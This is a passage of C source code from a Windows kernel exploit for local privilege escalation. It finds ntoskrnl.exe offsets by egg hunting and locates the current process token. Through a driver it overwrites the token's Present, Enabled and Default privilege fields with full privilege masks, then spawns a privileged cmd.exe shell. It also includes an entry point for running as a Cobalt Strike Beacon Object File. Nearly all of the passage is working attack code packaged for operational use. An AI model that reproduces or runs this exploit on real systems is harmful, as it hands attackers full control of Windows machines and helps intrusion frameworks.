        PRINT_ERROR("Unable to find `KxWaitForSpinLockAndAcquire` in `ntoskrnl.exe` via egg hunt.");
        goto CLEANUP;
    } else {
        PRINT("Obtained `KxWaitForSpinLockAndAcquire` address: %llX.", NTOSKRNL_BASE + OFFSET_SPIN_LOCK);
    }

    if (!OFFSET_WRITE_BYTE) {
        PRINT_ERROR("Unable to find `write_char_0` in `ntoskrnl.exe` via egg hunt.");
        goto CLEANUP;
    } else {
        PRINT("Obtained `write_char_0` address: %llX.", NTOSKRNL_BASE + OFFSET_WRITE_BYTE);
    }

    PRINT("Trying to obtain current process token.");
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    uint8_t *currentToken = GetObjectPointerByHandle(hToken);
    if (currentToken == NULL) {
        PRINT_ERROR("Unable to obtain handle to current process token.");
        goto CLEANUP;
    } else {
        PRINT("Obtained token address of current process: %p.", currentToken);
    }

    PRINT("Creating writer thread(s)...");
    write_mem('q', currentToken + 0x50, 0x0000001ff2ffffbc, DRIVER_DEVICE_SYMBOLIC_LINK, NTOSKRNL_BASE, OFFSET_TEST_SPIN_LOCK, OFFSET_WRITE_BYTE, OFFSET_SPIN_LOCK); //TOKEN->_SEP_TOKEN_PRIVILEGES->Default
    write_mem('q', currentToken + 0x48, 0x0000001ff2ffffbc, DRIVER_DEVICE_SYMBOLIC_LINK, NTOSKRNL_BASE, OFFSET_TEST_SPIN_LOCK, OFFSET_WRITE_BYTE, OFFSET_SPIN_LOCK); //TOKEN->_SEP_TOKEN_PRIVILEGES->Enabled
    write_mem('q', currentToken + 0x40, 0x0000001ff2ffffbc, DRIVER_DEVICE_SYMBOLIC_LINK, NTOSKRNL_BASE, OFFSET_TEST_SPIN_LOCK, OFFSET_WRITE_BYTE, OFFSET_SPIN_LOCK); //TOKEN->_SEP_TOKEN_PRIVILEGES->Present
    PRINT("Writer thread(s) have been created. Sleeping for 6 seconds...");
    Sleep(6000);

    #ifndef BOF
        PRINT("Finished. Spawning a privileged shell.");
        system("cmd.exe");
    #else
        PRINT("Finished. You've acquired all high privileges.");
    #endif

CLEANUP:
    if (allocatedBaseAddress != NULL) VirtualFree(allocatedBaseAddress, 4096 * 8, MEM_RELEASE);
}

#ifdef BOF
    /**
     * CS BOF entry point.
     * 
     * The Cobalt Strike (CS) Beacon Object File (BOF) entry point.
     * 
     * @param char* args The array of arguments.
     * @param int length The length of the array of arguments.
     */
    VOID go(IN PCHAR Args, IN ULONG Length) {
        boot();
    }
#else
    /**
     * Test the kernel exploit & elavation code
     *
     * @param int argc Amount of arguments in argv.
     * @param char** Array of arguments passed to the program.
     */
    void main(int argc, char** argv) {
        boot();
    }
#endif